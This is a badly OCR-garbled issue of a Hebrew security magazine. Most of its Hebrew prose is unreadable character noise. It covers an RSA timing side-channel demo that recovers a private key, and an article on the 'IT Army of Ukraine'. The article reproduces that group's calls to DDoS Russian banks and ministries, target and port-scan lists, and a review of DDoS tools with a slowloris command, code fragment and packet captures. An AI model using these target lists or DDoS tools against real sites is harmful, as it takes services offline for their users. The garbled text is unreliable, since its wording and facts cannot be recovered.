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2w nxIap1 130000 NITX2 DNW DYAT 7W ANIF NDIND AXIAR 17 W'Y RN LI09TINY 0'INTA 0 OX

.140000 7wnY ,y¥nKX21 INWO'X NI'NYT ratio NX yamn |D'7 .15000 NiTNa DDA NI DT

7901 NIN DAY NXNIAIY 09"MPON NX YN

def main():
difference = 140000
RSATimingAttack() * if not finished

findTheKey
TITETTEAT WAL 13 plubawLy w.

The private key until now is: 11100100110110100000101100000010

can't find the private key...

D'INT7 TN 27 .XX¥N1 X7 '0190 NNONNY D 2V Y TINN NXI ratio YN DX NIKYY N1 DITRA

AN ATN NN AW DNIX NM7 N0

117 W' DINIRY NIKY [N .17 npI7na 7'o0n NR"T K7W IR Q1Y 109 TINY DIATA NIX [N DX
TR N'D D' NI DIATY 7Y AxIapn R ,130000 NITR DN DIAT 27U AN DdIND NI

.15000 11TR2 X'71 160000

MYY? DINTA DX 2707 NI [2md 150000 Dyon ,V¥NXA INWO'R AW NIFNY ratio NX YA 27

.NT'727TNoNYT [N 72N (knee 7wn?7) ITRON NTYW DNMIATR DY DN YX¥ARD DX KIXNZI NIXIAR

:ratio YN WINMA R7TY 1NI17) 10190 NNON NX 72721 1YW UDMPON NN Y]

def main():
[difference = 150000 |
RSATimingAttack()

findTheKey
The private key until now 1s: 11100100110101001000010001010001

We did it! The private key is: 11100100110101001000010001010001

I

NIX UN17 NN7¥N .X¥N1 RINY 12 2V nYTINNI '019N NNONN NN ratio VN NX Iy [N DITXA

.ratioyn
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NN NIXNY 72 "Y1 RSA 7V TX YNV NOpPNN Y¥AY7 N1 ,1IXINY '9) .TX YNV NOPNNA D70V AT 1NN
,RSA Mm1o¥n Nd>wn nwnn 17 Arduino NIYa win'wa 1Y 101NN 1AXAN 17002 .'019N NN9NN

119N NNIRY

.RSA 7y N9pNNn win'm XN NTTNNN IN'RY UTN NANK 720 NIX TRYNENINNIIN A 0P NoN
DT DR 7¥17 T¥D1 nivnimn RSA NdAyn 18D TINY7 IN'RN NYATY NN N97NNA NI

019N NNONAN NX NIXN7ITY YNV No5pynn y¥2'7 nan 72y wimmn nix 7w noInn

"7y nxp

72712 120 71DWUN N1DIN NOTINY 'T NI VITIVOI N'7'Y 10 N'DINA qnnvn ,22 2 2T "aX

Jinkedin-2 MNX 217¥7 DA DIATIA .NYD XA¥A IR DN UONNI1 NP 0"ANNY? Thynn 2% MTpeNn

DINNA Ta1y oAl a7 MTPXN O7IN2 1Yo 2DUN N1DIN NOTINY 'T MY 'RTINY ,21 12, anIe N7

ANpa o'ann? Tnynn .Al-n

2'M'NA DON VINWY? NN 1NK 1T 70 INNNyN ,NI7RY DDY W' DX

Avifeder99@gmail.com

Danielyochanan91l@gmail.com

TIND DNIXR DT'RPY ["1YN NANK A'N AT ANKRNN DX 2171 NNOY ,1|,7n'7 7T jmn n4 np'w q'on

STV QW 17 KXY DHNAIENT DR NIYYT7 TINN DNNY 037 02 117 Yl
0T 722 2V NNTY7 IN'RY 2% MTPRN 7202 NXN 730 AR N nTIna ntoll

NNNREAYA NIXD 'IXI'ND'R WY DIN 117127 w' DNIDTAY |'TAnNN DY N2V NTInNAl
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NN

https://www.digitalwhisper.co.il/files/Zines/0x4F/DW79-2-SideChannel.pdf

https://github.com/avifeder/SideChannelAttack/tree/main/Part3

https://en.wikipedia.org/wiki/Modular arithmetic

https://en.wikipedia.org/wiki/Montgomery modular multiplication

https://en.wikipedia.org/wiki/Exponentiation by squaring

https://en.wikipedia.org/wiki/Modular exponentiation

https://pyserial.readthedocs.io/en/latest/pyserial.html

https://www.cs.sjsu.edu/faculty/stamp/students/article.html

http://www.mat.ucm.es/congresos/mweek/Xll Modelling Week/Informes/Report5.pdf

https://slideplayer.com/slide/4976535/

https://en.wikipedia.org/wiki/Side-channel attack
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https://en.wikipedia.org/wiki/Modular_arithmetic
https://en.wikipedia.org/wiki/Montgomery_modular_multiplication
https://en.wikipedia.org/wiki/Exponentiation_by_squaring
https://en.wikipedia.org/wiki/Modular_exponentiation
https://pyserial.readthedocs.io/en/latest/pyserial.html
https://www.cs.sjsu.edu/faculty/stamp/students/article.html
http://www.mat.ucm.es/congresos/mweek/XII_Modelling_Week/Informes/Report5.pdf
https://slideplayer.com/slide/4976535/
https://en.wikipedia.org/wiki/Side-channel_attack
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W1 N7UNNN UK a0 ,Mykhaio Fedorov ,(26.02.2022) n1*kIpIX? N'ON |2 nnn'nY? 'w'7win oI
NOTY 'D112"0N N'TN NITY? NRIPT INYTA D 101102 DOYD ,NI'RIPZIR 7W N0 TN N'YNIID01NUN
NXI7IN D700 NXARY 727 Q'Y KN NYTINY .N0112 727NN 'MnNnn Yakna n71iyn 7on
"IT ARMY of Ukraine"
Mykhailo Fedorov &
We are creating an IT army. We need digital talents. All operational tasks
will be given here: . There will be tasks for everyone.

We continue to fight on the cyber front. The first task is on the channel for
cyber specialists.

itarmyofurraine
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NNV DI' 'T'R DON9NI D7IVN 721 D'IwA (1) 300,000 7yn 7w MIINVOX 190N 7'DN DA7LVN YNV

NNIAPA NN7WIY NMIWRIN DYTINN [707 .09pNNn7 niron

IT ARMY of Ukraine

Top priorities:

- Glonass the satellite map

- Byelorussian railway

- Russian telecoms (MTS, Beeline etc)

- National Bank of Russia

- ATM processors (Sberbank, VTB, Gasprombank)

YBATAl YBATAl YBATAI

pa

IT ARMY of Ukraine
For all IT specialists from other countries, we translated tasks in
English.

LW S

Task # 1 We encourage you to use any vectors of cyber and DDoS
attacks on these resources. |

Business corporations
Gazprom - https://ww v n—.u/

72T ;DONK 72727 niaan otam'kn D% nnn X
|2 .071vn DT 751 LYND PINA 2V DY Qfaya 233 603 W27 W44 @I WH &3

d432 =24 19 @1
DIA70N nxiapa oir vT'n D'N7vIY nNnipnn nn'vn - :

Lukoil - https:/ — |

Magnet - https./ i——/

Norilsk Nickel - https://ww ——.com/ [
I

Banks

Sberbank - https

The state

Public services - https:// _
Moscow State Services - https: V.

President of the Russian Federation - http:// i/
Government of the Russian Federation - hitp://u— ./
Ministry of Defense - https: "

Tax - https:/fwvwv S/

Customs - https:// ou—cv.ru/

Pension Fund - https:///n—

Roskomnadzor - https://

nNnani TIo' N'NYnN '"NK ,0'y712 ,runnin oy DYIpPNnn D'"oIN 0D'NX 7w 21 190n nIKY N1

:DINKN 01VVO 7Y XN NIINN ]'1'73.|7TIYJ NY nnd "1'n .ni'oin
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(X0 ) mmm——r
CEXTIE ) it/ iy 111/
S ) http:// e——ru/

bt/ —

59 http:/Mkremlin.ny/

e
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e —

e ———
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D"ON DNKX 771D D'RIPIND DANIN 7W ARNVAN TINYAL DXIAPA [DTYNAY DNUAN 722 DI0ND
L1D1'ONN T2 0DNIMY Q01 YNy ,ninann DB dump ,0119%0,0'D2 7w 7' NIamd 0ol
NIYTINT spamming VIX - 'MY71¥N 700 NYTA NOTY7 NIRTIN DA NIY'AN 020 NISENNn TITy7 qona
NTIA9N9 NIKT? DA N1 ,|2 11D .Trivago ,Tripadvisor ,Google Maps 11> D™2IN D'NKY WX NIDIN
.N'0N 7Y NI70mMY Nrypaont Y5700 DINN 7Y 0'NMIYEN D21DTY ,NT2INN NANR 7 NRIPIR

:DDoS Protection D'79010N DN NO'PNYT NN NIN ['MYN [IN1 .77mn NX7UnY? nona N1

IT ARMY of Ukraine
Konu cami 2ax1McHYKK Nijg aTakor — M CKNagHille 3axXuuarti iHwi
CarTh.
Tenep NoTpiBHO HaUINMMTLCA Ha:
Attacking DDOS guards will weaken their shields for the websites.
Hit thermn down:
https:// o ————— 1 L
https:// etk
https:// m— L
https:// cu— ./
DDoS-GUARD
HapexHan 3awmta ot DDoS-aTak nwoboid
mouHocTr | DDoS-GUARD
KomnnaekcHas 3awmra oT DDoS-atak.
CobBcTBeHHan reopacnpefeneHHan ceTk. BricTp...

2698 & 665 W 147

e L T SR

NIN7'RY N1AN ,N'MYIY NIV NN 7R NI9NT7 ZWOKRWY AIW'N NI 7w 722 190n wr 12T 7w 19102

.'1D1 SSL abuse 7w NI'd0 172 ,sockets 190NN NIWPEN INX 'NIANINN 2pyn ,DNS-1 BGP

NNLNN '¥'ON LX? BXK? TX D'-hostname-d DINKN NN'YY NN 1'RY DD TV DX YN YXNKX [IDTY
19'0101 (DNS-N 'MW 7V N'0IN NIDYNNN DFTNID NRIID) [P VNS NINVNAN NIAIMD DX N7YWT7 17NN
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Morning! We keep on cyber fighting. The idea is to try how secured
data in Russian credit bureaus:

I (443/tCD) [
sesma——(50/tCp, 443/tcp) |
S 20/tCD, 443/tCp) |
' (30/tCD, 443/tcp)
I 3/tCp, 443/udp)

(Lo s I

I 1 /tCp, 22/tcp, 80/tcp, 443/tcp, 67/udp)
| W (53/tcp, 53/udp, 67/udp)

W (25/tcp, 53/tcp, 53/udp, 67/udp)
| Ee— ((113/tcp, 443/tcp, 500/udp)
| S (25/tcp, 53/tcp, 53/udp)
IR (113/tcp, 443/tcp)
I (113/tcp, 443/tcp, 500/udp)
I (113/tcp, 443/tcp, 500/udp)
I (22/tcp, 80/tcp, 113/tcp, 4443/tcp)
I (30/1Cp, 113/tcp, 443/tcp, 500/udp)
(1 13/tcp, 500/udp, 520/udp/, 1144/udp)
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IT ARMY OF UKRAINE(English)

= How to get started v1_7.pdf
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NEW VERSION : 1.7 (For beginners) )
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IT ARMY OF UKRAINE

https://tme/itarmyofukraine2022
itarmyua@egmail.com

DISCLAIMER : This manual is strictly for educational purposes only. Please be aware that
attacking (port scanning, DDOS, probing, PEN, etc) is highly illegal in many countries and if
caught, you may be looking a prison time. Although I believe that the secret services of many
countries will not pursue any contesters actively due to the extraordinary circumstances, they
have every right to do so. It's YOU that is doing something illegal. Give yourself a few minutes to
think it through before you decide to participate!
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NIZT 5-n NINO n,7|'7 119'0N 70 .071VNn NT NN DN'WY X7 OX DA NNYY NN2NN 7¢_0'1TA NIYNANA

?D¥YA X7 Nn7 X

NNIT N7 00 (VInY Intra 1D 71am'? NrYY79x DA W 1aN

NI'NIPIN 72 XN NN NWIA N9HNIENIMIAIIER 7T - 10N DX 91N7 172N TXA
www.DigitalWhisper.co.il
95 2022 'oOx ,138 |12



https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/categories/360002571772-Configuration
https://support.quad9.net/hc/en-us/categories/360002571772-Configuration
https://support.quad9.net/hc/en-us/categories/360002571772-Configuration
https://getintra.org/#!/

VPN 1T nw'a

VPN T nw'na
TOR 91917

12'n INx? TOR 1T VPN-? nnanna
workstation qina socks proxy ov
TNY? NIUWA NIXRILY MDD Y
awnn 1T Qubes naaoa whonix
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D' 17713 DDOS-N 71D 'O XY

PM"-N 71 T RIPIRD JAONNY D' DRI TR LY WTIN N7'NN2 D700 RN N2 Ny
AT 917N Ann'Mn 'Y NiNTENN oy 72K (slowloris 7y 1109 ND YiITA na'on DA ITl) "opnn
NYTN N'7'n NXT |2) 0*-hacktivist-1 NI7ITA NI*RAZIR NIN2N NI NN7I919 NNWYI D702 NXIapn
.DDoS '001an D"9pPNN 070 7 21 190N DIY' NYDI NdIWYNT7 1910XN (ITN N9IPNA 107 NTNYY
TIAR 72 X7 .77m2 0 mynin? 7ax 0710 DX A'%N? n07Nn 0PN 7w Niroaiiane mra 1oin NXon

TIAK NID 1D 77 NX9Y7 ¥

VTN NIX DN'7V 1IN I'RIPIND JN0N 0'Y'DINY 0700 7D 17X, 100N '7'NNa

Slowloris by gkbrk

Death by 1000 needles

DDOS by Coder1955A

Norussian by D3pR4V3d

3 websites (1 works)

CloudAttack by yottaiq

N oo ok~ w Noe

Bombardier by codesenberg

INW NN D097 NN VITA 117 [am X7 .0210 NMI¥a 1Ty (7) bombardier-1 (2) DB10ON 71,0713 JIMn

.DNIX I¥N' D77NY 02 [DNON7I D'WIX 97X NINNYT 075N

gkbrk nxn Slowloris

NI Slowloris NOPNNY 117V 117NN D'RIZINAY TIZN IN NN ANPN 719 DN

17 |am X7 .(0T DX NI NITIvA T KX XY) VDA TIR NTY DAYIN 1INIX VITN
script -7 TvIm Xin D IX\I DY 7W 11 190N DM KIN D NXR1D ,AXN0A 01D 1700 72t RIN 'R
.(1Itn w2 onin forks 565 - NN TN Y2 1'7V NIAY [N1I1'0'0 TIRN KINW [In 1IX\I) kiddies
210 DD DRI NTAA) NOPNNN NIX 1N NINDY M7 77D Y N9'0 ,TIzn 7y Navnn 197 72X

(NIXF0D NNd 7Y 2777 'woIn IWaN

NIY' T Y Yim 0w "Nipnw 0t - 0TI wnnn nan 7y nwva 7"0 "0 %w niman qaavn
197 IMIX 71727 NN ,Inwn and Elliot Alderson DX DA .2107 N'VNIVIX NIX 191N X7 DNX IX 1T

.NIN 2NT Y¥NN 72 X7 .target-n 7y 2171 n¥ON
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https://github.com/gkbrk/slowloris
https://github.com/Arriven/db1000n/
https://github.com/Coder1955Alpha/DDoS
https://github.com/D3pR4V3d/norussian
https://github.com/yottaiq/CloudAttack
https://github.com/codesenberg/bombardier
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
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D212 N1NAX sockets 7w NaNN NN T 7V , 170 .HTTP DoS Session Attack X'n Slowloris N9pnn
nNIT Llow & slow 7w nMavpn NN N791 N9PNNN .NWA [ND'TA threads 7w 21 1900 019N7

2'Onw M7 RUDY (are you dead yet) nopnn?

IN7Y' (0192 GET 210N) NIYRA AN - HTTP 21710N92 VIT nW7IN N7XIN NYRP798N N1OWA NOpPNNN
112107 NIn 7Y termination sequence 7V IT'V' 221 NIYTN NNIY "My 0'NON TWX NNX NUPZRO]

?0Y9-9X termination-n NX D'N7IY X7 11NIX DX DI DN .response N'71j7 1NKY session-n NIX

[AT 712YD DX .NYTINN qWNN? NdN'T NIMD 112NN DR I'RY' webserver-n :NVIYS NaIWNN LDl
VIYO Slowloris 7w D'WIM™MNN 7702 112NN DX 120' VIYD KIN JWNN INIX DX 727 X7 K10 D"10N
VIV ,N12'NN NIX A0 NWNAWD - N7 2¥NN TNKR DRIV DN'oN K77 nyTIN D'N71IW 112N D'NNID
q12'n "NIrNn%" 221 oY 701 v vyn NIPYY 'wnn? DN D'YINMNN 27011 ;TR TIV D'NNID

D'I'RAPIRN v 7IN0N2 DONIDY TI7N 1N ITN NMIIXNA AWINN AT ']WIN") TNKR

logging.infof
"Sending keep-alive headers... Socket count: %s",

len{list_of sockets),

£ im list(list of sockets):

_ in range(socket_count - len(list_of sockets)):

logging.debug("Recreating socket...™)

try:

(n1mw nNnd2a oy bytes nnd T 7Y 'keep alive' NITWYT) DNIMD NMIWN NNYDIND DX 9 TVN "X ,N'WUN
NINRY? (N'MNANoNW) ax¥n NP7 710' X7 T NN 7 7701 "NDTm" X7 nwyn? X P jion
,09 2NN NN NYAIT X7 N9PNNN .NYUN NNXA X7 0T 0"7DN .19 thread 01917 1701' D'N'O*AY
NINYUN] UNNWNYT 7'wnn? 710" Qpin QIn2 AX DX N9pNnnY [t ,nnnR DOS niopnnn 7*1an’l

7Y D1 LNVI'RA YITA7I AWNNN

NINIPIR 72 XD NN NI N9HNINIMNIIAR 77TA - 10N NN 91M7 172N 1Y)
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TINA IYPN' DY DMWY YINAY 277 ,N'0'0 XK' - TINA LIYD N7V 0'X*Y7NN DI'RIFZIRD NN TX

APINN 7w 01777 NN NN X210V NIV

D'D71N D'WIR NNI) WIN'WN DX D'ATN D'Y'RAPIRN v INONNY NTAIVN XKIN IRXNY [IYKN 'I|7"7
:NINQN NIXA (N2T IR NIYy? 0IWO

The script runs 150 sockets by default. After the installation just run :

$ python3 slowloris.py [website url] -s [number of sockets|-———

:socket proxy 10T built in "720 X Yn7 n'¥9IX Nntpw DiwA github page-1 17'9XW NINNY NIXTI

You can then use the -x i 3OCKS5 support and the

y the SOC

and its port, if tr » different from the standard 127.8.0.1:8

:NWT7 N9 701 "M’ user agent-2 wnNwn? Dal

& -Ug, --Ia nduseragents

e o Randomizes user-agents with each request

24 71 onW 7T user agents-n 222 NIN TP NANK NINDY Q01 [INIY 11N D'WIAL 70T’ 1Y

NMNYIT NNIN2 NRDANY DI;712 N'VLVO NIIX2 DIV NIMIYA

T
.
=
T
T
T
T
T
.
T
T
T
T
T

?071> NN DINNY? N'N'Y DXAYIN DNKX 2101 NNd

NINIPIR 72 XD NN NI N9HNINIMNIIAR 77TA - 20N NN 91M7 172 1Y)
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:0'9T 3 NIIW NNN NN .0'75N2 NTAIY 19NN X |21 IXIA

1139 37.1758.. 84.95.248.122  172.18.95.19 TP 7480 » 44458 [[SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=3573537301 TSecr=3569928476 WS=128
1140 37.1761.. 172.18.95.19  84.95.248.122  TCP 66 44458 » 80
1141 37.1761.. 172.18.95.19  84.95.248.122  TCP PSH, ACK] Seq=1 Ack=1 Win=64256 Len=20 Toval=3569928480 Tsecr=3573537301 [[TCP segnent of 3 resssembled POUT]
1146 37.1813.. 84.95.248.122  172.18.95.19  TCP Seg-1 Ack=21 Win=29056 Len=0 TSval=3573537307 TSecr=3569928480

1147 37.1816.. 172.18.95.19 84.95.248.122  TCP 234 44458 » se|vsn, ACK]] Seq=21 Ack=1 Win=64256 Len=168 TSval=3569928485 TSecr=3573537307
1154 37.1851.. 84.95.248.122  172.18.95.19 TP Tea=1 Ack=189 Win=30080 Len=0 TSval=3573537310 TSecr=3569928485

1135 37.1728.. 172.18.95.19 84.95.248.122 TCP 74 44458 » 80 eqP Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3569928476 TSecr=0 WS=128
ACK] Segl Ack=1 Win=64256 Len=0 TSval=3569928480 TSecr=3573537301

1427 38.3655.. 172.18.95.19  84.95.248.122  TCP 77 44458 - 80 ACK]] Seq=189 Ack=1 Win=64256 Len=11 TSval=3569920669 TSecr=3573537310 [TCP segment of a reassembled PDU]
1473 38.3724.. 84.95.248.122  172.18.95.19  TCP 66 80 » 44458 [ACK] Seq=1 Ack=200 Win=30080 Len=0 TSval=3573538497 TSecr=3569929669

1530 53.4099.. 172.18.95.19  84.95.248.122  TCP 7644458 » 80 [PSH, ACK] Seq=200 Ack=1 Win=64256 Len=10 TSval=3569944714 TSecr=3573538497 [TCP segment of a reassembled PDU]
1500 53.4237.. 84.95.248.122  172.18.95.19 TCP 6680 » 44458 [ACK] Seq=1 Ack=210 Win=30080 Len=0 TSval=3573553549 TSecr=3569944714

1696 57.6029.. 84.95.248.122  172.18.95.19 HTTP

1607 57.6029.. 84.95.248.122  172.18.95.19 TCP 66 80 » 44458 [FIN, ACK] Seq-394 Ack-210 Win=30080 Len=0 TSval=3573557728 TSecr=3569944714

1698 57.6031. 172.18.95.19  84.95.248.122  TCP 6644458 » 89 [ACK] Seq=210 Ack=394 Win=64128 Len=0 TSval=3569948907 TSecr=3573557728

1738 57.6521.. 172.18.95.19  84.95.248.122  TCP 66 44458 » 80 [ACK] Seq=210 Ack=395 Win=64128 Len=0 TSval=3569948956 TSecr=3573557728

1843 68.4587. TCP t of a reassembled PDU]

Frame 1141: 86 bytes on wire (688 bits), 86 bytes captured (688 bits)
Ethernet II, Src: Microsof_82:d5:a7 (00:15:5d:82:d5:a7), Dst: Microsof_cd:cc:29 (00:15:5d:cd:cc:29)
Internet Protocol Version 4, Src: 172.18.95.19, Dst: 84.95.248.122
0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)
000 00 15 5d cd cc 29 @0 15 5d 82 d5 a7 @8 00 45 00 1-9) ] E
10 @0 48 37 36 40 00 40 @6 ab 7a ac 12 5f 13 54 5f H76@-@ -z -_-T_
f8 7a ad aa 00 50 ae 16 15 ad 94 98 c3 4e 80 18 z---P N

<

0030 @1 £6 c6 9 00 00 01 @1 08 Oa d4 8 c9 20 d4 Ff
140 da 15 47 45 54 20 2f 3f 36 37 37 20 48 54 54 50 - -GET /? 677 HTTP
o 2f 31 2e 31[6d6a] /1.1

X NN NPT NN (WN? (J2md) 17w INKR T2 IXIN D'RIPIRDY 1ND N9PNAN DX XN TR 210
IMNX71 three way handshake niy¥xnxa TCP 112N NIpwNNNN DX N7NNNA NIXYY TWON .NNIAYNN

.(1141 'on) keep-alive signal 7w nuPRON NX

D'72TN .12'NN NANN 197 timeout NWPEA NYYW MWW 1197 DRI NIVPZRD 4 IN7WIY NINYYT TWOR
NYTINN 9102 NIRTYT 7211 *70¥T-NOPRNN 21X 7DN01 DX .NNI'0 K77 header 0*7'on [PSH ACK] 7w

:("..") x0d0a0d0a0 nI'n7 1¥w X'mn CRLF-n NX X471 "." 'onw x0d0a0

....... —_—
» .... OO00 OOOL 1000 =]F[aqs: Ox018 (PoH, I&]l
window size value: 222
0000 42 01 Oa fO 0O 01 42 01 Oa fO 00 14 08 00 45 00
0010 Ol 19 68 40 40 O5 Sa 31
0020 ci

NI'NIPIN 72 XN NN NWIA N9HNIENIMIIIER 7T - 0N NIX 91N7 172N TXA
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:TCP stream-n NN 2I7V1W3 121NN NWN NIX 1'RWN'7 N0 client-n 'K RN N1IX2 NI 700

GET /2418 HTTP/1.1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10 11 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.8.2785.143 Safari/537.36
Accept-language: en-US,en,q=0.5
X-a: 889

X-a: 4393

HTTP/1.0 408 Request Timeout
Content-Type: text/html
Content-Length: 431

Connection: close

Date: Wed, 09 Mar 2022 18:28:19 GMT
Server: ECSF (bsa/EB16)

<?xml version="1.8" encoding="is0-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8® Transitional//EN"
“http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>488 - Request Timeout</title>
</head>
<body>
<h1>488 - Request Timeout</hl>
<div>Server timeout waiting for the HTTP request from the client.</div>
</body>
</html>
X-a: 4675
X-a: 1371

.N7'2N1 DIN AN T 190N 7101 1272 12'07' KIN "X-a" 7w header-n

TIiZNW D'AYIN INIX YITA NY2NIT' 7117 '7210 Wireshark N NIy¥nNal nn' Tz TV TIV N nwyn?
AT 172NN NIVPRON 'A10 NIX NIRYYI Wireshark 7w T¥a 2200 7y 7on0on7 [N .nyna ni¥a Y
197NW MNXN 7Y IP-0 DX 72777 '7'awa DNS query yx¥t nnNow Socket 75 (71nd2) n'2'nn - nopnnn
MIYPNN DR NINAY (7012) TCP NIVPERD 7W X1 yan PN INKRYT (X111 X7 72X 7'wr D X7 winn)

.(DoS) "annn? oY NN D'WAIN INNSY DNIANN 1AW 7700 DXV AT .web Nwn Dy

ANKXY? TCP-2 RST NI NIYXNXA) 112'NN NN'A0 DX NI7AONY NINITR NIVPRD X1 Yan DN WNR7
NN - TN 0NI2'NN 72 DR 210 NMYAY RIN TN YORn .NMwn T 9y (HTTP-2 Timeout wiza XInw
NIIAYN D NIXINY NI017 770 ynxn nwiy X7 "22n .Na1v Slowloris NOpNNa NNR7 Nk X7
X7 ,12'7v 1Dno1) DDoS protection 7n1n MNX7 N'NINNPNA DA NI772 INIR 7'oN NNWN TR 1'N'01Y

.2N22'0 D 73 N7 715 X7 0N'7'o11 oMINN jITh L (17 NN

NI'NIPIN 72 XN NN NWIA N9HNIENIMIIIER 7T - 0N NIX 91N7 172N TXA
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DB100ON - Death by 1000 needles

# IT ARMY OF UKRAINE

4.3 DB1000N

Check our own program - Death by 1000 needles (DB1000N)

10171270 VAN 72 NNI0NA WIADY 117 RX'Y |ayn DN "70N "X KN 7"10 700 790 X7 "avn Dw
19%7 .github-2 N'aNI9 A"P'NY7 NNIR DIONI MW DAY 202 NQITNA D A¥IN JAoNd .NI'RIPIR v

400-7 2N oY1 LD XM TIV'N N7 W' 121 26/02/2022 1IXNA 11970 X1 700,00 NNIVOIN

N7 D'D01NNI NIYW NN 75 NIDTYNA AN 9011 .071VN 701 DN contributors DV D'-commit
M7 A¥N71 T KIN PR N7 T DX IPN7 DNYY Inwn X7 CTIVIE DN (I7'D 0¥ TIY

JMIyny

N7 (N'YLINIPITN '97) IXINY? 72w WATIw nn 721 Golang-2 ANDaw cross-platform yaw "0 1am

.that's it .NNIN YD1 N¥PY79RN DX TNINYT ,N'01N2 nnion X7w IP naimd oy VPN-2 T'ox¥nY

DTNN NI NIRRT (170 117 790N KINY [11'O0 2ANPN 7192 250 NI7IdDN 75 DX a'¥n? DIDNN NNIX

2750 7Y N¥IN N'RN1 NDD L9100 7'NNA .KAXN NNIYWY? DNNIY 2'RIPZIR-'A1711000

D VT N¥ 12'7V QOIN KIN N'WKRD L[11D7 72 0NIVIXK 7V DMI' 1INIX - NOVIYWD TINA NI¥2 TAI 200
XIN DN INXY7I 00N DNKRY N9 710 17w IP-n XN L17W n0NAN NNl aITA client Nk NyT?
NOIYNN 7w 0MR7 717%1 UNNA .NNUN NNV ALY VIYD TXI git-N NN targets-n Y2l DX [2TYnN

VXN X'NY NS 7NN 'alol
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https://github.com/Arriven/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
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QWA NINNTA NNK 7 N9PNNN YA AXIIN 720 DU D 12'7'2 JNONN NAMD AT (NMIP XNNINN

222NN DYN NP IR W'00o791 "Naruto Ultimate Ninja" nwninni 10nX1 nnTonn "Haku
7 0"791 "Naruto Ultimate Ninja" j onn "Haku"

IR XIN MR VOYNA NIDT NNY IR NOpPNNN v

"There is only one person who matters to me, and | live to protect and serve him.

That is my purpose.”

.NI'RIPINA 'NDIN 2¥N7 VOWNN |'2 TWR? N7W TWON 'K

https://www.youtube.com/watch?v=IJbal2wmar8&ab channel=Yondaime :n1T0NN YOP'7 WP

0P'N9N 7Y repo-N 7V MI¥PA V1YY 7'O0N .LP'N9L D'RNY ANXTHORATA K'N N1MYA AT

27U D'YOMNIFITA 7Y 7ON01 DX ?NNIDN NN NIV 7Y 11 190N YIN'Y QWYY 'An7 71ava

NI TWONX ThHn 2V avn oy T L7'NON

NIYXNXA IT NIFMWN NOM97 SSH 001an N'¥nIVIX '*20) Ansible Niy¥nXa Linux VM W setup
(T

seamlessly [91X2 ExpressVPN DY NINIBV79 190107 Nipwnnnn

N2'10 751 707 build viIx2'7 docker-2 win'y

auto-scale y¥2'7 wnTIwd cluster-7 pods 190107 ANI' NaNT NMI¥a deployment y¥17 0'X¥IN DX IX
Kubernetes niy¥xnxa horizontally

Mxy "720 7Y events-1 NIDPNAN 7W NIPNIVN "INK AIVY7 7'awa Prometheus-2 win'w

y¥a7 72wa (TIp NIYXNXA 2V MWD nnwn ") Terraform-a win'e7 nroIR nnte 17'9X

.Heroku ,Digital Ocean ,Azure ,GCP ,AWS-7 deployment

OX N'IAT 12 JN'NXI 22an .©waam UP'I'\D'? INTN DINN2 D'NNIN 7Y 11 190NY NTAIVN AIX'Y2

NI9PNN win'm2 straightforward-1 nNIVW *T X'n 0P'NSN 7w NNXY D270 0"DN D NNIK 17RWUN

-2 deployment 1V¥2'y D1'DN 12 DNN D'WIXK NND L[ 10D .NIV'YW 7w 77 19001 'Nivivwe' DDoS

'NAWKN '019 DX IN'w'l) ?DDoS 1D N7in X7 n'71vo yx¥a? 7'awa cloud-a kubernetes 7w cluster

(nany 21> on'v

:0{7'N9N 7V 11DV NAYNA 7'NNA AT DY

core
jobs
runner

utils
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https://hero.fandom.com/wiki/Zabuza_Momochi
%09https:/www.youtube.com/watch?v=IJbaI2wmar8&ab_channel=Yondaime
https://www.ansible.com/
https://kubernetes.io/
https://prometheus.io/
https://www.terraform.io/

125 nwyn? TWKXD Golang M9WA DIYA TIZN NN D 207 [N src NN N2 N9'0 DNAI DX

2727 120w NIINA7 N9 NrX .0 open-source D701 WIN'Y DN (core) Y720 7w DMtyn

775 7w nn'wn DN 7onw 21T TN YN NTva (Jobs) Nim'wn @7nn 'wRIN yalpn - jobs Nt
D'oN% 907 X7 NN 7V DMYv7 .nn'wn 0'971W1 0'RNN APl NNTYQ D'WA D INK [NY7X  NINwnn
JIOXIN NIN'YNANE DX AT "TD N NIM'YWNN DR O'RAM L IPNY Y20 [NIR N9PNN TV NI

.age W2 Go No9YWY7 Open Source "72 NITYA M7 NIYONI NIOXNN 170N 7D

:D'IVNI9 NNdN NAdYIMIISON VNI NNIYAY NN'wN 7D
NO'PN7 D'UNNYUN D 7IP1I0N9N A0

NYUPaNao e

NOPNN TV e

